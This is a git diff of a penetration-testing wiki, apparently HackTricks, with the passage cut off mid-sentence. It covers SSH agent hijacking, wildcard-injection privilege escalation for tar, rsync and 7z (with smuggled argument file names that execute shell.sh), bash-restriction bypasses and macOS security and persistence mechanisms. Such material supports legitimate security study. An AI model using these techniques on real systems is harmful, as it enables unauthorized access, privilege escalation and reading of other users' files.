+84,14 @@ SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990 Even though my keys are not installed on “seattle”, the ssh client programs are still able to access the agent running on my local machine: -```text +``` seattle:~ alice $ ssh-add -l 2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA) ``` So… who can we mess with? -```text +``` seattle:~ alice $ who alice pts/0 2012-04-06 18:24 (office.example.com) bob pts/1 2012-04-03 01:29 (office.example.com) @@ -105,7 +105,7 @@ bob pts/29 2012-04-02 10:58 (office.example.com) I’ve never liked Bob. To find his agent connection, I need to find the child process of one of his ssh sessions: -```text +``` seattle:~ alice $ sudo -s [sudo] password for alice: @@ -115,23 +115,23 @@ sshd(16816)───bash(16817) sshd(25296)───bash(25297)───vim(14308) ``` -There are several ways for root to view the environment of a running process. On Linux, the data is available in /proc/<pid>/environ. Since it’s stored in NULL-terminated strings, I’ll use tr to convert the NULLs to newlines: +There are several ways for root to view the environment of a running process. On Linux, the data is available in /proc/\/environ. Since it’s stored in NULL-terminated strings, I’ll use tr to convert the NULLs to newlines: -```text +``` seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ``` I now have everything I need to know in order to hijack Bob’s ssh-agent: -```text +``` seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l 2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA) ``` If I happen to have a specific target in mind, I should now be able to connect directly. Otherwise, just watching the process list or grepping through Bob’s history file should present plenty of targets of opportunity. In this case, I know Bob has all sorts of super secret files stored on the server named “boston”: -```text +``` seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston bob@boston:~$ whoami bob @@ -143,14 +143,14 @@ I have succesfully parlayed my root privileges on “seattle” to access as bob Don’t let your ssh-agent store your keys indefinitely. On OS X, configure your Keychain to lock after inactivity or when your screen locks. On other Unix-y platforms, pass the -t option to ssh-agent so its keys will be removed after seconds. -Don’t enable agent forwarding when connecting to untrustworthy hosts. Fortunately, the ~/.ssh/config syntax makes this fairly simple: +Don’t enable agent forwarding when connecting to untrustworthy hosts. Fortunately, the \~/.ssh/config syntax makes this fairly simple: -```text +``` Host trustworthyhost ForwardAgent yes ``` -```text +``` Host * ForwardAgent no ``` @@ -161,4 +161,3 @@ Host * * [An Illustrated Guide to SSH Agent Forwarding](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl * [ssh-agent manual](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent) * [ssh-add manual](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) - diff --git a/linux-unix/privilege-escalation/wildcards-spare-tricks.md b/linux-unix/privilege-escalation/wildcards-spare-tricks.md index 8512a87a..ab21e043 100644 --- a/linux-unix/privilege-escalation/wildcards-spare-tricks.md +++ b/linux-unix/privilege-escalation/wildcards-spare-tricks.md @@ -8,8 +8,8 @@ You can **indicate which file owner and permissions you want to copy for the res touch "--reference=/my/own/path/filename" ``` -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _\(combined attack\)_ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\ +__More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ### Tar @@ -20,8 +20,8 @@ touch "--checkpoint=1" touch "--checkpoint-action=exec=sh shell.sh" ``` -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _\(tar attack\)_ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\ +__More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ### Rsync @@ -38,18 +38,18 @@ Interesting rsync option from manual: touch "-e sh shell.sh" ``` -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _\(_rsync _attack\)_ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(_rsync _attack)_\ +__More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ### 7z -In **7z** even using `--` before `*` \(note that `--` means that the following input cannot treated as parameters, so just file paths in this case\) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root: +In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root: ```bash 7za a /backup/$filename.zip -t7z -snl -p$pass -- * ``` -And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read: +And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink **to the file you want to read: ```bash cd /path/to/7z/acting/folder @@ -57,9 +57,8 @@ touch @root.txt ln -s /file/you/want/to/read root.txt ``` -Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress \(thats what the existence of `@root.txt` indicates\) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content. +Then, when **7z **is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error **showing the content. -_More info in Write-ups of the box CTF from HackTheBox._ - -\_\_ +_More info in Write-ups of the box CTF from HackTheBox. _ +__ diff --git a/linux-unix/useful-linux-commands/bypass-bash-restrictions.md b/linux-unix/useful-linux-commands/bypass-bash-restrictions.md index 2602181f..e19095e6 100644 --- a/linux-unix/useful-linux-commands/bypass-bash-restrictions.md +++ b/linux-unix/useful-linux-commands/bypass-bash-restrictions.md @@ -128,7 +128,7 @@ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi ## DNS data exfiltration -You could use **burpcollab** or [**pingb**](http://pingb.in/) ****for example. +You could use **burpcollab** or [**pingb**](http://pingb.in)** **for example. ## Polyglot command injection @@ -139,11 +139,10 @@ You could use **burpcollab** or [**pingb**](http://pingb.in/) ****for example. ## References & More -{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection\#exploits" caption="" %} +{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits" %} -{% embed url="https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet" caption="" %} +{% embed url="https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet" %} -{% embed url="https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0" caption="" %} - -{% embed url="https://www.secjuice.com/web-application-firewall-waf-evasion/" caption="" %} +{% embed url="https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0" %} +{% embed url="https://www.secjuice.com/web-application-firewall-waf-evasion/" %} diff --git a/macos/macos-security-and-privilege-escalation/README.md b/macos/macos-security-and-privilege-escalation/README.md index 0f426817..8821d611 100644 --- a/macos/macos-security-and-privilege-escalation/README.md +++ b/macos/macos-security-and-privilege-escalation/README.md @@ -2,7 +2,9 @@ First of all, please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see: -{% page-ref page="../../linux-unix/privilege-escalation/" %} +{% content-ref url="../../linux-unix/privilege-escalation/" %} +[privilege-escalation](../../linux-unix/privilege-escalation/) +{% endcontent-ref %} ## Basic MacOS @@ -16,8 +18,8 @@ First of all, please note that **most of the tricks about privilege escalation a * `/usr/libexec/PlistBuddy -c print config.plsit` * `plutil -p config.plist` * **`.app`**: Apple applications that follows directory structure. -* **`.dylib`**: Dynamic libraries \(like Windows DLL files\) -* **`.pkg`**: Are the same as xar \(eXtensible Archive format\). The installer command can be use to install the contents of these files. +* **`.dylib`**: Dynamic libraries (like Windows DLL files) +* **`.pkg`**: Are the same as xar (eXtensible Archive format). The installer command can be use to install the contents of these files. ### File hierarchy layout @@ -28,9 +30,9 @@ First of all, please note that **most of the tricks about privilege escalation a * **/etc**: Configuration files * **/Library**: A lot of subdirectories and files related to preferences, caches and logs can be found here. A Library folder exists in root and on each user's directory. * **/private**: Undocumented but a lot of the mentioned folders are symbolic links to the private directory. -* **/sbin**: Essential system binaries \(related to administration\) -* **/System**: File fo making OS X run. You should find mostly only Apple specific files here \(not third party\). -* **/tmp**: Files are deleted after 3 days \(it's a soft link to /private/tmp\) +* **/sbin**: Essential system binaries (related to administration) +* **/System**: File fo making OS X run. You should find mostly only Apple specific files here (not third party). +* **/tmp**: Files are deleted after 3 days (it's a soft link to /private/tmp) * **/Users**: Home directory for users. * **/usr**: Config and system binaries * **/var**: Log files @@ -44,23 +46,22 @@ First of all, please note that **most of the tricks about privilege escalation a * **`.metadata_never_index`**: If this file is at the root of a volume Spotlight won't index that volume. * **`.noindex`**: Files and folder with this extension won't be indexed by Spotlight. * **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV`**2: Contains information about downloaded files, like the URL from where they were downloaded. -* **`/var/log/system.log`**: Main log of OSX systems. com.apple.syslogd.plist is responsible for the execution of syslogging \(you can check if it's disabled looking for "com.apple.syslogd" in `launchctl list`. +* **`/var/log/system.log`**: Main log of OSX systems. com.apple.syslogd.plist is responsible for the execution of syslogging (you can check if it's disabled looking for "com.apple.syslogd" in `launchctl list`. * **`/private/var/log/asl/*.asl`**: These are the Apple System Logs which may contain interesting information. * **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Stores recently accessed files and applications through "Finder". * **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Stores items to launch upon system startup -* **`$HOME/Library/Logs/DiskUtility.log`**: Log file for thee DiskUtility App \(info about drives, including USBs\) +* **`$HOME/Library/Logs/DiskUtility.log`**: Log file for thee DiskUtility App (info about drives, including USBs) * **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Data about wireless access points. * **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: List of daemons deactivated. * **`/private/etc/kcpassword`**: If autologin is enabled this file will contain the users login password XORed with a key. ### Common users -* **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_": - - ```bash - _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs - ``` +* **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_": + ```bash + _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs + ``` * **Guest**: Account for guests with very strict permissions * `state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess"); for i in "${state[@]}"; do sysadminctl -"${i}" status; done;` * **Nobody**: Processes are executed with this user when minimal permissions are required @@ -70,7 +71,7 @@ First of all, please note that **most of the tricks about privilege escalation a * **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own. * **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**. -* **Root**: Root is a user allowed to perform almost any action \(there are limitations imposed by protections like System Integrity Protection\). +* **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection). * For example root won't be able to place a file inside `/System` ### **File ACLs** @@ -90,7 +91,7 @@ drwx------+ 7 username staff 224 15 Apr 19:42 Movies 0: group:everyone deny delete ``` -You can find **all the files with ACLs** with \(this is veeery slow\): +You can find **all the files with ACLs** with (this is veeery slow): ```bash ls -RAle / 2>/dev/null | grep -E -B1 "\d: " @@ -98,7 +99,7 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: " ### Resource Forks or MacOS ADS -This is a way to obtain **Alternate Data Streams in MacOS** machines. You can save content inside an extended attribute called **com.apple.ResourceFork** inside a file by saving it in **file/..namedfork/rsrc**. +This is a way to obtain **Alternate Data Streams in MacOS **machines. You can save content inside an extended attribute called **com.apple.ResourceFork** inside a file by saving it in **file/..namedfork/rsrc**. ```bash echo "Hello" > a.txt @@ -130,11 +131,11 @@ The possible categories include the following: ### Remote Access Services -You can enable/disable these services in "System Preferences" --> Sharing +You can enable/disable these services in "System Preferences" --> Sharing * **VNC**, known as “Screen Sharing” * **SSH**, called “Remote Login” -* **Apple Remote Desktop** \(ARD\), or “Remote Management” +* **Apple Remote Desktop** (ARD), or “Remote Management” * **AppleEvent**, known as “Remote Apple Event” Check if any is enabled running: @@ -151,23 +152,33 @@ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharin ### MacOS Architecture -{% page-ref page="mac-os-architecture.md" %} +{% content-ref url="mac-os-architecture.md" %} +[mac-os-architecture.md](mac-os-architecture.md) +{% endcontent-ref %} ### MacOS Serial Number -{% page-ref page="macos-serial-number.md" %} +{% content-ref url="macos-serial-number.md" %} +[macos-serial-number.md](macos-serial-number.md) +{% endcontent-ref %} ### MacOS MDM -{% page-ref page="macos-mdm/" %} +{% content-ref url="macos-mdm/" %} +[macos-mdm](macos-mdm/) +{% endcontent-ref %} ### MacOS Protocols -{% page-ref page="macos-protocols.md" %} +{% content-ref url="macos-protocols.md" %} +[macos-protocols.md](macos-protocols.md) +{% endcontent-ref %} ### MacOS - Inspecting, Debugging and Fuzzing -{% page-ref page="macos-apps-inspecting-debugging-and-fuzzing.md" %} +{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing.md" %} +[macos-apps-inspecting-debugging-and-fuzzing.md](macos-apps-inspecting-debugging-and-fuzzing.md) +{% endcontent-ref %} ## MacOS Security Mechanisms @@ -175,21 +186,29 @@ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharin [**In this talk**](https://www.youtube.com/watch?v=T5xfL9tEg44) Jeremy Brown talks about this protections and a bug that allowed to bypass them. -_**Gatekeeper**_ is designed to ensure that, by default, **only trusted software runs on a user’s Mac**. Gatekeeper is used when a user **downloads** and **opens** an app, a plug-in or an installer package from outside the App Store. Gatekeeper verifies that the software is **signed by** an **identified developer**, is **notarised** by Apple to be **free of known malicious content**, and **hasn’t been altered**. Gatekeeper also **requests user approval** before opening downloaded software for the first time to make sure the user hasn’t been tricked into running executable code they believed to simply be a data file. +_**Gatekeeper**_ is designed to ensure that, by default, **only trusted software runs on a user’s Mac**. Gatekeeper is used when a user **downloads** and **opens** an app, a plug-in or an installer package from outside the App Store. Gatekeeper verifies that the software is **signed by** an** identified developer**, is **notarised** by Apple to be **free of known malicious content**, and **hasn’t been altered**. Gatekeeper also **requests user approval **before opening downloaded software for the first time to make sure the user hasn’t been tricked into running executable code they believed to simply be a data file. ### Notarizing In order for an **app to be notarised by Apple**, the developer needs to send the app for review. Notarization is **not App Review**. The Apple notary service is an **automated system** that **scans your software for malicious content**, checks for code-signing issues, and returns the results to you quickly. If there are no issues, the notary service generates a ticket for you to staple to your software; the notary service also **publishes that ticket online where Gatekeeper can find it**. -When the user first installs or runs your software, the presence of a ticket \(either online or attached to the executable\) **tells Gatekeeper that Apple notarized the software**. **Gatekeeper then places descriptive information in the initial launch dialog** indicating that Apple has already checked for malicious content. +When the user first installs or runs your software, the presence of a ticket (either online or attached to the executable) **tells Gatekeeper that Apple notarized the software**. **Gatekeeper then places descriptive information in the initial launch dialog **indicating that Apple has already checked for malicious content. ### File Quarantine -Gatekeeper builds upon **File Quarantine.** -Upon download of an application, a particular **extended file attribute** \("quarantine flag"\) can be **added** to the **downloaded** **file**. This attribute **is added by the application that downloads the file**, such as a **web** **browser** or email client, but is not usually added by others like common BitTorrent client software. -When a user executes a "quarentined" file, **Gatekeeper** is the one that **performs the mentioned actions** to allow the execution of the file. +Gatekeeper builds upon **File Quarantine.**\ +****Upon download of an application, a particular **extended file attribute** ("quarantine flag") can be **added** to the **downloaded** **file**. This attribute** is added by the application that downloads the file**, such as a **web** **browser** or email client, but is not usually added by others like common BitTorrent client software.\ +When a user executes a "quarantined" file, **Gatekeeper** is the one that **performs the mentioned actions** to allow the execution of the file. -It's possible to **check it's status and enable/disable** \(root required\) with: +{% hint style="info" %} + **Checking** the **validity** of code signatures is a **resource-intensive** process that includes generating cryptographic **hashes** of the code and all its bundled resources. Furthermore, checking certificate validity involves doing an **online check** to Apple's servers to see if it has been revoked after it was issued. For these reasons, a full code signature and notarization check is **impractical to run every time an app is launched**. + +Therefore, these checks are **only run when executing apps with the quarantined attribute.** + +**Safari and other web browsers and applications are the ones that** +{% endhint %} + +It's possible to **check it's status and enable/disable** (root required) with: ```bash spctl --status @@ -238,7 +257,7 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri ### XProtect -**X-Protect** is also part of Gatekeeper. **It's Apple’s built in malware scanner.** It keeps track of known malware hashes and patterns. +**X-Protect** is also part of Gatekeeper.** It's Apple’s built in malware scanner. **It keeps track of known malware hashes and patterns.\ You can get information about the latest XProtect update running: ```bash @@ -247,15 +266,15 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC ### MRT: Malware Removal Tool -Should malware make its way onto a Mac, macOS also includes technology to remediate infections. The _Malware Removal Tool \(MRT\)_ is an engine in macOS that remediates infections based on updates automatically delivered from Apple \(as part of automatic updates of system data files and security updates\). **MRT removes malware upon receiving updated information** and it continues to check for infections on restart and login. MRT doesn’t automatically reboot the Mac. \(From [here](https://support.apple.com/en-gb/guide/security/sec469d47bd8/web#:~:text=The%20Malware%20Removal%20Tool%20%28MRT,data%20files%20and%20security%20updates%29.)\) +Should malware make its way onto a Mac, macOS also includes technology to remediate infections. The _Malware Removal Tool (MRT)_ is an engine in macOS that remediates infections based on updates automatically delivered from Apple (as part of automatic updates of system data files and security updates). **MRT removes malware upon receiving updated information** and it continues to check for infections on restart and login. MRT doesn’t automatically reboot the Mac. (From [here](https://support.apple.com/en-gb/guide/security/sec469d47bd8/web#:\~:text=The%20Malware%20Removal%20Tool%20\(MRT,data%20files%20and%20security%20updates\).)) ### Automatic Security Updates -Apple issues the **updates for XProtect and MRT automatically** based on the latest threat intelligence available. By default, macOS checks for these updates **daily**. Notarisation updates are distributed using CloudKit sync and are much more frequent. +Apple issues the **updates for XProtect and MRT automatically **based on the latest threat intelligence available. By default, macOS checks for these updates **daily**. Notarisation updates are distributed using CloudKit sync and are much more frequent. ### TCC -**TCC \(Transparency, Consent, and Control\)** is a mechanism in macOS to **limit and control application access to certain features**, usually from a privacy perspective. This can include things such as location services, contacts, photos, microphone, camera, accessibility, full disk access, and a bunch more. +**TCC (Transparency, Consent, and Control)** is a mechanism in macOS to **limit and control application access to certain features**, usually from a privacy perspective. This can include things such as location services, contacts, photos, microphone, camera, accessibility, full disk access, and a bunch more. From a user’s perspective, they see TCC in action **when an application wants access to one of the features protected by TCC**. When this happens the user is prompted with a dialog asking them whether they want to allow access or not. This response is then stored in the TCC database. @@ -263,9 +282,9 @@ From a user’s perspective, they see TCC in action **when an application wants Check some of the **already given permissions** to apps in `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`. -The TCC database is just a **sqlite3 database**, which makes the task of investigating it much simpler. There are two different databases, a global one in `/Library/Application Support/com.apple.TCC/TCC.db` and a per-user one located in `/Users//Library/Application Support/com.apple.TCC/TCC.db`. The first database is **protected from editing with SIP**\(System Integrity Protection\), but you can read them by granting terminal\(or your editor\) **full disk access**. +The TCC database is just a **sqlite3 database**, which makes the task of investigating it much simpler. There are two different databases, a global one in `/Library/Application Support/com.apple.TCC/TCC.db` and a per-user one located in `/Users//Library/Application Support/com.apple.TCC/TCC.db`. The first database is **protected from editing with SIP**(System Integrity Protection), but you can read them by granting terminal(or your editor) **full disk access**. -This information was [taken from here](https://rainforest.engineering/2021-02-09-macos-tcc/) \(read the **original source for more information**\). +This information was [taken from here](https://rainforest.engineering/2021-02-09-macos-tcc/) (read the **original source for more information**). Some protected directories: @@ -277,15 +296,15 @@ Some protected directories: Unprotected directories: -* $HOME \(itself\) +* $HOME (itself) * $HOME/.ssh, $HOME/.aws, etc * /tmp #### Bypasses -By default an access via **SSH** will have **"Full Disk Access"**. In order to disable this you need to have it listed but disabled \(removing it from the list won't remove those privileges\): +By default an access via **SSH** will have **"Full Disk Access"**. In order to disable this you need to have it listed but disabled (removing it from the list won't remove those privileges): -![](../../.gitbook/assets/image%20%28563%29.png) +![](<../../.gitbook/assets/image (569).png>) Here you can find examples of how some **malwares have been able to bypass this protection**: @@ -310,11 +329,11 @@ Note that the **Apple-authored** **software** that runs on **Windows** **doesn Bypasses examples: * [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) -* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) \(they are able to write files outside the sandbox whose name starts with `~$`\). +* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (they are able to write files outside the sandbox whose name starts with `~$`). ### SIP - System Integrity Protection -This protection was enabled to **help keep root level malware from taking over certain parts** of the operating system. Although this means **applying limitations to the root user** many find it to be worthwhile trade off. +This protection was enabled to **help keep root level malware from taking over certain parts** of the operating system. Although this means **applying limitations to the root user** many find it to be worthwhile trade off.\ The most notable of these limitations are that **users can no longer create, modify, or delete files inside** of the following four directories in general: * /System @@ -322,7 +341,7 @@ The most notable of these limitations are that **users can no longer create, mod * /sbin * /usr -Note that there are **exceptions specified by Apple**: The file **`/System/Library/Sandbox/rootless.conf`** holds a list of **files and directories that cannot be modified**. But if the line starts with an **asterisk** it means that it can be **modified** as **exception**. +Note that there are **exceptions specified by Apple**: The file **`/System/Library/Sandbox/rootless.conf`** holds a list of **files and directories that cannot be modified**. But if the line starts with an **asterisk** it means that it can be **modified** as **exception**.\ For example, the config lines: ```bash @@ -357,8 +376,8 @@ csrutil status System Integrity Protection status: enabled. ``` -If you want to **disable** **it**, you need to put the computer in recovery mode \(start it pressing command+R\) and execute: `csrutil disable` -You can also maintain it **enable but without debugging protections** doing: +If you want to **disable** **it**, you need to put the computer in recovery mode (start it pressing command+R) and execute: `csrutil disable` \ +You can also maintain it **enable but without debugging protections **doing: ```bash csrutil enable --without debug @@ -405,13 +424,13 @@ launchctl print system launchctl print gui//com.company.launchagent.label ``` -## Auto Start Extensibility Point \(ASEP\) +## Auto Start Extensibility Point (ASEP) An **ASEP** is a location on the system that could lead to the **execution** of a binary **without** **user** **interaction**. The main ones used in OS X take the form of plists. ### Launchd -**`launchd`** is the **first** **process** executed by OX S kernel at startup and the last one to finish at shut down. It should always have the **PID 1**. This process will **read and execute** the configurations indicated in the **ASEP** **plists** in: +**`launchd`** is the **first** **process** executed by OX S kernel at startup and the last one to finish at shut down. It should always have the **PID 1**. This process will **read and execute **the configurations indicated in the **ASEP** **plists** in: * `/Library/LaunchAgents`: Per-user agents installed by the admin * `/Library/LaunchDaemons`: System-wide daemons installed by the admin @@ -420,7 +439,7 @@ An **ASEP** is a location on the system that could lead to the **execution** of When a user logs in the plists located in `/Users/$USER/Library/LaunchAgents` and `/Users/$USER/Library/LaunchDemons` are started with the **logged users permissions**. -The **main difference between agents and daemons is that agents are loaded when the user logs in and the daemons are loaded at system startup** \(as there are services like ssh that needs to be executed before any user access the system\). Also agents may use GUI while daemons need to run in the background. +The **main difference between agents and daemons is that agents are loaded when the user logs in and the daemons are loaded at system startup** (as there are services like ssh that needs to be executed before any user access the system). Also agents may use GUI while daemons need to run in the background. ```markup @@ -445,13 +464,13 @@ The **main difference between agents and daemons is that agents are loaded when ``` -There are cases where an **agent needs to be executed before the user logins**, these are called **PreLoginAgents**. For example, this is useful to provide assistive technology at login. They can be found also in `/Library/LaunchAgents`\(see [**here**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) an example\). +There are cases where an **agent needs to be executed before the user logins**, these are called **PreLoginAgents**. For example, this is useful to provide assistive technology at login. They can be found also in `/Library/LaunchAgents`(see [**here**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) an example). {% hint style="info" %} -New Daemons or Agents config files will be **loaded after next reboot or using** `launchctl load ` It's **also possible to load .plist files without that extension** with `launchctl -F ` \(however those plist files won't be automatically loaded after reboot\). -It's also possible to **unload** with `launchctl unload ` \(the process pointed by it will be terminated\), +New Daemons or Agents config files will be **loaded after next reboot or using **`launchctl load ` It's **also possible to load .plist files without that extension** with `launchctl -F ` (however those plist files won't be automatically loaded after reboot).\ +It's also possible to **unload** with `launchctl unload ` (the process pointed by it will be terminated), -To **ensure** that there isn't **anything** \(like an override\) **preventing** an **Agent** or **Daemon** **from** **running** run: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` +To **ensure** that there isn't **anything** (like an override) **preventing** an **Agent** or **Daemon** **from** **running** run: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` {% endhint %} List all the agents and daemons loaded by the current user: @@ -468,7 +487,7 @@ List the cron jobs of the **current user** with: crontab -l ``` -You can also see all the cron jobs of the users in **`/usr/lib/cron/tabs/`** and **`/var/at/tabs/`** \(needs root\). +You can also see all the cron jobs of the users in **`/usr/lib/cron/tabs/`** and **`/var/at/tabs/`** (needs root). In MacOS several folders executing scripts with **certain frequency** can be found in: @@ -476,11 +495,11 @@ In MacOS several folders executing scripts with **certain frequency** can be fou ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` -There you can find the regular **cron** **jobs**, the **at** **jobs** \(not very used\) and the **periodic** **jobs** \(mainly used for cleaning temporary files\). The daily periodic jobs can be executed for example with: `periodic daily`. +There you can find the regular **cron** **jobs**, the **at** **jobs** (not very used) and the **periodic** **jobs** (mainly used for cleaning temporary files). The daily periodic jobs can be executed for example with: `periodic daily`. ### kext -In order to install a KEXT as a startup item, it needs to be **installed in one of the following locations**: +In order to install a KEXT as a startup item, it needs to be** installed in one of the following locations**: * `/System/Library/Extensions` * KEXT files built into the OS X operating system. @@ -501,7 +520,7 @@ For more information about [**kernel extensions check this section**](mac-os-arc ### **Login Items** -In System Preferences -> Users & Groups -> **Login Items** you can find **items to be executed when the user logs in**. +In System Preferences -> Users & Groups -> **Login Items **you can find **items to be executed when the user logs in**.\ It it's possible to list them, add and remove from the command line: ```bash @@ -515,11 +534,11 @@ osascript -e 'tell application "System Events" to make login item at end with pr osascript -e 'tell application "System Events" to delete login item "itemname"' ``` -These items are stored in the file /Users/<username>/Library/Application Support/com.apple.backgroundtaskmanagementagent +These items are stored in the 